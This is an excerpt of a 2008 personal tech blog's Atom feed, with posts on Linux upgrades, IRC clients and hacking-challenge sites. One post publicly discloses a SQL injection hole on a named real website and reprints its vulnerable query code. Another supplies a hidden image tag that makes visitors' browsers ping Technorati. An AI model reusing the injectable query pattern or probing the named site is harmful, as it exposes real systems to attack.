rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_OCNhupYc3g0/SL5RDpBjkNI/AAAAAAAAADo/27cr0tBEWjs/s72-c/accessflags.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-4123979055623148183</id><published>2008-08-20T15:24:00.002+01:00</published><updated>2008-08-20T15:36:18.778+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='open source'/><category scheme='http://www.blogger.com/atom/ns#' term='stegano'/><category scheme='http://www.blogger.com/atom/ns#' term='steganabara'/><category scheme='http://www.blogger.com/atom/ns#' term='ohloh'/><title type='text'>Steganabara at Ohloh</title><content type='html'>I came over &lt;a href="http://www.ohloh.net/"&gt;Ohloh&lt;/a&gt; today while looking at the subversion website for the new update. It looks like a pretty cool social network for open source developers and lovers.&lt;span style="text-decoration: underline;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;At Ohloh you can promote your software projects and vote on projects you like. So I went on ahead and created a project page for Steganabara: &lt;a href="http://www.ohloh.net/projects/steganabara"&gt;http://www.ohloh.net/projects/steganabara&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;If you enjoy this great steganalysis tool you should create an account there, add Steganabara to your stack, write reviews, and vote for it :)&lt;br /&gt;&lt;br /&gt;There hasn't been any major update to Steganabara for quite a while. So if you have any idea for improvement, feel free to contact me.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-4123979055623148183?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/4123979055623148183/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=4123979055623148183' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4123979055623148183'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4123979055623148183'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/08/steganabara-at-ohloh.html' title='Steganabara at Ohloh'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-4940618682266151548</id><published>2008-08-17T10:11:00.006+01:00</published><updated>2008-08-17T10:26:12.214+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='idlemonkeys'/><category scheme='http://www.blogger.com/atom/ns#' term='irc'/><category scheme='http://www.blogger.com/atom/ns#' term='kvirc'/><title type='text'>idlemonkeys.net and KVIrc</title><content type='html'>I have always been able to have my nick auto-identified on the idlemonkeys network simply by using the "Server Details" dialog in KVIrc:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_OCNhupYc3g0/SKfr8DJMhBI/AAAAAAAAACg/Vhj___2m_N0/s1600-h/ns1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_OCNhupYc3g0/SKfr8DJMhBI/AAAAAAAAACg/Vhj___2m_N0/s320/ns1.png" alt="" id="BLOGGER_PHOTO_ID_5235412508710044690" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;But since the server change a few months ago this method is no longer working for me.&lt;br /&gt;&lt;br /&gt;After playing around with the various settings in KVIrc I finally managed to find another way to get the job done using the "General Preferences" dialog:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_OCNhupYc3g0/SKfs4U7GolI/AAAAAAAAACo/RLqMEXsdfY0/s1600-h/ns.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_OCNhupYc3g0/SKfs4U7GolI/AAAAAAAAACo/RLqMEXsdfY0/s320/ns.png" alt="" id="BLOGGER_PHOTO_ID_5235413544274928210" border="0" /&gt;&lt;/a&gt;Doing it this way the password is clearly visible in plain sight but I have no other options. And it kinda sucks as KVIrc seems to be the only client that can't handle the change.&lt;br /&gt;&lt;br /&gt;Maybe the KVIrc guys should have a look into it rather than working on the new major version.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-4940618682266151548?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/4940618682266151548/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=4940618682266151548' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4940618682266151548'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4940618682266151548'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/08/idlemonkeysnet-and-kvirc.html' title='idlemonkeys.net and KVIrc'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_OCNhupYc3g0/SKfr8DJMhBI/AAAAAAAAACg/Vhj___2m_N0/s72-c/ns1.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-2351665910002116198</id><published>2008-07-09T15:47:00.003+01:00</published><updated>2008-07-09T15:59:56.431+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='crackit'/><category scheme='http://www.blogger.com/atom/ns#' term='rankk'/><category scheme='http://www.blogger.com/atom/ns#' term='codeproject'/><title type='text'>Something</title><content type='html'>Hey guys,&lt;br /&gt;&lt;br /&gt;Expecting something new from me?&lt;br /&gt;&lt;br /&gt;Nothing much here. I've been quite busy at work and &lt;a href="http://www.rankk.org/profile/horst35"&gt;horst35&lt;/a&gt; managed to took my first place on rankk for a few days but somehow I managed to get it back by solving &lt;a href="http://www.rankk.org/profile/skraeling"&gt;skraeling&lt;/a&gt;'s evil chall.&lt;br /&gt;&lt;br /&gt;I have a cool new idea for a crackit chall but found no time to code it... yet.&lt;br /&gt;&lt;br /&gt;And finally, never subscribe to the &lt;a href="http://www.codeproject.com/"&gt;Code Project&lt;/a&gt; newsletter. I made that mistake a while ago and unsurprisingly the unsubscribe feature didn't seem to work. I get tons of lame stuffs emailed to me everyday. Maybe I should consider blocking those emails soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-2351665910002116198?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/2351665910002116198/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=2351665910002116198' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2351665910002116198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2351665910002116198'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/07/something.html' title='Something'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-1811942923241918043</id><published>2008-06-14T14:04:00.002+01:00</published><updated>2008-06-14T14:11:25.881+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Friday the 13th'/><title type='text'>Friday the 13th?</title><content type='html'>Hey guys,&lt;br /&gt;&lt;br /&gt;Did anything happen to you yesterday - Friday the 13th?&lt;br /&gt;&lt;br /&gt;As the day was considered a day of bad luck, I took extra care of everything in order not to get into any problem. But when I came back home, I was informed that the power supply had burnt away. I could not get anything done last night, other than watching the fantastic victory of the Netherlands against France.&lt;br /&gt;&lt;br /&gt;Today I had to spend a few bucks to get the thing replaced. Fortunately enough, the mainboard did not suffer any damage.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-1811942923241918043?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/1811942923241918043/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=1811942923241918043' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1811942923241918043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1811942923241918043'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/06/friday-13th.html' title='Friday the 13th?'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-7125148739144256715</id><published>2008-06-12T15:05:00.000+01:00</published><updated>2012-02-11T10:34:37.374Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='mandriva'/><category scheme='http://www.blogger.com/atom/ns#' term='spring'/><category scheme='http://www.blogger.com/atom/ns#' term='2008.1'/><title type='text'>2008.1 finally</title><content type='html'>Didn't want to reinstall the whole system from scratch, I have been trying to upgrade the old packages manually.&lt;br /&gt;&lt;br /&gt;Things went fine until yesterday.&lt;br /&gt;&lt;br /&gt;After a massive upgrade of more than 100 packages, I rebooted the system and found myself logging into the text mode. X server failed to start. Looking at the logs I found that a video driver module failed to load. Well, that's the worst situation you could get yourself involved in.&lt;br /&gt;&lt;br /&gt;So I decided to take the risk and try updating my system using the installation CDs. The estimated time was more than 3 hours, but actually the packages were all upgraded in just an hour. In the end, I got an error claiming that some media.cfg file could not be found, but after rebooting everything went fine.&lt;br /&gt;&lt;br /&gt;Finally I got my system up-to-date (hopefully) with minimal efforts. Now it's time to try out all the new features!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-7125148739144256715?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/7125148739144256715/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=7125148739144256715' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/7125148739144256715'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/7125148739144256715'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/06/20081-finally.html' title='2008.1 finally'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-3058775800133945384</id><published>2008-05-04T05:19:00.002+01:00</published><updated>2008-05-04T05:42:44.536+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='theblacksheep'/><category scheme='http://www.blogger.com/atom/ns#' term='tbs'/><title type='text'>TBS == dead?</title><content type='html'>A few months ago, an old friend of mine, Chemi, returned to TBS, and suddenly asked me, "Hey, is TBS dead?". I answered, "Yeah, Inferno was being lazy"...&lt;br /&gt;&lt;br /&gt;Actually although seeing the site dying, I was still waiting (or rather hoping) for some changes that would make the site alive again.&lt;br /&gt;&lt;br /&gt;But that has yet to happen.&lt;br /&gt;&lt;br /&gt;No new challenge has been added for like 8 months.&lt;br /&gt;&lt;br /&gt;Many good users have gone into the shadow.&lt;br /&gt;&lt;br /&gt;The forum has become a place for rhican to show off his 1337 h4x0r1ng skills.&lt;br /&gt;&lt;br /&gt;An old CSRF bug that I found a few years ago has been exploited further that Inferno could do nothing but disabling the img tag and avatar feature.&lt;br /&gt;&lt;br /&gt;And sadly most recent updates to the site were done by Erik, who officially declared retired a few years ago.&lt;br /&gt;&lt;br /&gt;So I gotta admit TBS is pretty much dead now.&lt;br /&gt;&lt;br /&gt;But maybe it's still not too late to revive the site once again?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-3058775800133945384?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/3058775800133945384/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=3058775800133945384' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3058775800133945384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3058775800133945384'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/05/tbs-dead.html' title='TBS == dead?'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-6195567903547320709</id><published>2008-05-03T16:37:00.000+01:00</published><updated>2012-02-11T10:34:37.427Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='copy'/><category scheme='http://www.blogger.com/atom/ns#' term='checksum'/><title type='text'>wtf?</title><content type='html'>&lt;pre&gt;[quangntenemy@localhost mandriva]$ md5sum xaa&lt;br /&gt;28cac97e24514e00da387d605d64e9d4  xaa&lt;br /&gt;[quangntenemy@localhost mandriva]$ cp xaa /home/quangntenemy/iso/&lt;br /&gt;[quangntenemy@localhost mandriva]$ md5sum /home/quangntenemy/iso/xaa&lt;br /&gt;30b5260aa446ba28e9aa5cc2d31f3766  /home/quangntenemy/iso/xaa&lt;br /&gt;[quangntenemy@localhost mandriva]$ cp xaa /home/quangntenemy/iso/&lt;br /&gt;cp: overwrite `/home/quangntenemy/iso/xaa'? y&lt;br /&gt;[quangntenemy@localhost mandriva]$ md5sum /home/quangntenemy/iso/xaa&lt;br /&gt;8bf1672d80eef1beefcc528ea8bff1ba  /home/quangntenemy/iso/xaa&lt;br /&gt;[quangntenemy@localhost mandriva]$ cp -f xaa /home/quangntenemy/iso/&lt;br /&gt;[quangntenemy@localhost mandriva]$ md5sum /home/quangntenemy/iso/xaa&lt;br /&gt;26c5636cb00f103689f9432e9ff529a8  /home/quangntenemy/iso/xaa&lt;br /&gt;[quangntenemy@localhost mandriva]$ md5sum /home/quangntenemy/iso/xaa&lt;br /&gt;26c5636cb00f103689f9432e9ff529a8  /home/quangntenemy/iso/xaa&lt;br /&gt;[quangntenemy@localhost mandriva]$ f***&lt;br /&gt;bash: f***: command not found&lt;br /&gt;[quangntenemy@localhost mandriva]$ cp xaa /mnt/data/iso/&lt;br /&gt;[quangntenemy@localhost mandriva]$ md5sum /mnt/data/iso/xaa&lt;br /&gt;28cac97e24514e00da387d605d64e9d4  /mnt/data/iso/xaa&lt;br /&gt;&lt;/pre&gt;Err wtf's happening here?&lt;br /&gt;&lt;br /&gt;I was trying to copy a file of about 2GB from my USB to my hard disk, but the checksum failed all the time :(&lt;br /&gt;&lt;br /&gt;In the end I managed to get things done by copying the file to a fat32 partition instead.&lt;br /&gt;&lt;br /&gt;I guess it's kinda buggy copying files between different types of partition...&lt;br /&gt;&lt;br /&gt;Any explanation?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-6195567903547320709?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/6195567903547320709/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=6195567903547320709' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/6195567903547320709'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/6195567903547320709'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/05/wtf.html' title='wtf?'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-4079204387259199693</id><published>2008-04-19T14:10:00.000+01:00</published><updated>2012-02-11T10:34:37.468Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='mandriva'/><category scheme='http://www.blogger.com/atom/ns#' term='spring'/><category scheme='http://www.blogger.com/atom/ns#' term='2008.1'/><title type='text'>Mandriva 2008.1 Spring</title><content type='html'>Finally! The official spring version of Mandriva Linux was released last week. And as a great fan, I downloaded the 3 cd version and tried upgrading my system to see the cool new features.&lt;br /&gt;&lt;br /&gt;Unfortunately, after inspecting my system, the installer warned me that it could not do a safe upgrade to 2008.1 and recommended that I do a fresh install instead. I have had enough problems after every system upgrade so I figured it would be best to do as advised. But I have been enjoying my box so much that it will take a lot of time to back up the data, install the new system and customize it...&lt;br /&gt;&lt;br /&gt;So I guess I'll have to hold it back for a little longer...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-4079204387259199693?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/4079204387259199693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=4079204387259199693' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4079204387259199693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4079204387259199693'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/04/mandriva-20081-spring.html' title='Mandriva 2008.1 Spring'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-5437530904328970169</id><published>2008-04-10T01:50:00.002+01:00</published><updated>2008-04-10T01:58:14.278+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='microsoft'/><title type='text'>Noobs happen here</title><content type='html'>Kevin Turner came to Vietnam yesterday for the "Heroes happen here" events, in which he introduced the "new and innovative" 2008 solutions. But its companion website, &lt;a href="http://www.heroeshappenhere.vn/"&gt;http://www.heroeshappenhere.vn&lt;/a&gt;, is very much vulnerable to SQL injection.&lt;br /&gt;&lt;code&gt;&lt;br /&gt;Unclosed quotation mark before the character string '''.&lt;br /&gt;Line 1: Incorrect syntax near '''.&lt;br /&gt;Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.&lt;br /&gt;&lt;br /&gt;Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string '''.&lt;br /&gt;Line 1: Incorrect syntax near '''.&lt;br /&gt;&lt;br /&gt;Source Error:&lt;br /&gt;&lt;br /&gt;Line 21:             cmd.CommandText="SELECT count(*) FROM Newletters WHERE Email='"+ txtEmail.Text+"'";&lt;br /&gt;Line 22:&lt;br /&gt;Line 23:             int Count = (int)cmd.ExecuteScalar();&lt;br /&gt;Line 24:            &lt;br /&gt;Line 25:             if (Count &gt; 0)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Source File: d:\hosting\heroeshappenhere\footer.ascx    Line: 23&lt;br /&gt;&lt;br /&gt;Stack Trace:&lt;br /&gt;&lt;br /&gt;[SqlException (0x80131904): Unclosed quotation mark before the character string '''.&lt;br /&gt;Line 1: Incorrect syntax near '''.]&lt;br /&gt;  System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection) +925466&lt;br /&gt;  System.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection) +800118&lt;br /&gt;  System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj) +186&lt;br /&gt;  System.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj) +1932&lt;br /&gt;  System.Data.SqlClient.SqlDataReader.ConsumeMetaData() +31&lt;br /&gt;  System.Data.SqlClient.SqlDataReader.get_MetaData() +62&lt;br /&gt;  System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString) +297&lt;br /&gt;  System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async) +1005&lt;br /&gt;  System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, DbAsyncResult result) +132&lt;br /&gt;  System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method) +32&lt;br /&gt;  System.Data.SqlClient.SqlCommand.ExecuteScalar() +137&lt;br /&gt;  ASP.footer_ascx.cmdNewletter_Click(Object sender, EventArgs e) in d:\hosting\heroeshappenhere\footer.ascx:23&lt;br /&gt;  System.Web.UI.WebControls.Button.OnClick(EventArgs e) +105&lt;br /&gt;  System.Web.UI.WebControls.Button.RaisePostBackEvent(String eventArgument) +107&lt;br /&gt;  System.Web.UI.WebControls.Button.System.Web.UI.IPostBackEventHandler.RaisePostBackEvent(String eventArgument) +7&lt;br /&gt;  System.Web.UI.Page.RaisePostBackEvent(IPostBackEventHandler sourceControl, String eventArgument) +11&lt;br /&gt;  System.Web.UI.Page.RaisePostBackEvent(NameValueCollection postData) +33&lt;br /&gt;  System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +1746&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Version Information: Microsoft .NET Framework Version:2.0.50727.1433; ASP.NET Version:2.0.50727.1433&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;M$ is still M$, after all...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-5437530904328970169?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/5437530904328970169/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=5437530904328970169' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/5437530904328970169'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/5437530904328970169'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/04/noobs-happen-here.html' title='Noobs happen here'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-2749809541390643884</id><published>2008-03-30T11:05:00.002+01:00</published><updated>2008-03-30T11:17:26.295+01:00</updated><title type='text'>Something for March</title><content type='html'>Just noticed April is coming, and I haven't blogged anything for March so far. So now is the time for some updates.&lt;br /&gt;&lt;br /&gt;It sucks to discover that your free webhost, webcounter and blograting are all insecure.&lt;br /&gt;&lt;a href="http://www.xssed.com/search?key=freewebs"&gt;http://www.xssed.com/search?key=freewebs&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xssed.com/search?key=extremetracking"&gt;http://www.xssed.com/search?key=extremetracking&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xssed.com/search?key=technorati"&gt;http://www.xssed.com/search?key=technorati&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It's April Fool's soon, and I can't wait to see a new &lt;a href="http://en.wikipedia.org/wiki/Google%27s_hoaxes"&gt;Google's hoax&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-2749809541390643884?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/2749809541390643884/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=2749809541390643884' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2749809541390643884'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2749809541390643884'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/03/something-for-march.html' title='Something for March'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-5764839590111230415</id><published>2008-03-01T02:14:00.005Z</published><updated>2008-12-23T01:11:47.646Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='technorati'/><category scheme='http://www.blogger.com/atom/ns#' term='ping'/><category scheme='http://www.blogger.com/atom/ns#' term='rating'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><title type='text'>Technorati</title><content type='html'>Guys, have you ever tried clicking on the green icon on the right sidebar of this page? If you haven't, try it :P By clicking on the icon, you become a fan of this blog on &lt;a href="http://www.technorati.com/"&gt;Technorati&lt;/a&gt;, which is a good thing.&lt;br /&gt;&lt;br /&gt;But unfortunately today I'm not in the mood to say how great Technorati is, as a universal blog rating, or an SEO service. On the contrary, I'm here to whine about it...&lt;br /&gt;&lt;br /&gt;The first thing I don't like about Technorati is the rating system itself. It is heavily based on blog reactions, which is never correct - the world wide web isn't just about blogging! And sometimes, the ranking is inconsistent across various pages.&lt;br /&gt;&lt;br /&gt;The second problem with Technorati is that the blog information there is very much outdated. I tried pinging a few times a week, but the content is still one hundred days lagged behind. An automated ping script could solve the problem, but there's a better way: just let your visitors ping the blogs for you. Here's the code to include as HTML/Javascript:&lt;br /&gt;&lt;pre&gt;&amp;lt;img src="http://www.technorati.com/ping/http://quangntenemy.multiply.com/journal?url=http%3A%2F%2Fquangntenemy.blogspot.com&amp;amp;ip=1" alt="." style="width: 1px; height: 1px;" /&amp;gt;&lt;/pre&gt;&lt;span style="font-style: italic;"&gt;(If Technorati ever gets overflown with pings, it's not my fault, it's their fault for having such a crappy service)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Final thing I would like to mention today, Technorati has &lt;a href="http://www.xssed.com/search?key=technorati"&gt;a few XSS vulnerabilities&lt;/a&gt; that can be found and fixed easily, but no one bothered to take any action. Maybe they should fire some developers, or send them to a basic web security course... If you are a Technorati user, be careful out there, or your Technorati account will get pwned in no time.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-5764839590111230415?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/5764839590111230415/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=5764839590111230415' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/5764839590111230415'/><link rel='self' type='application/atom+xml' 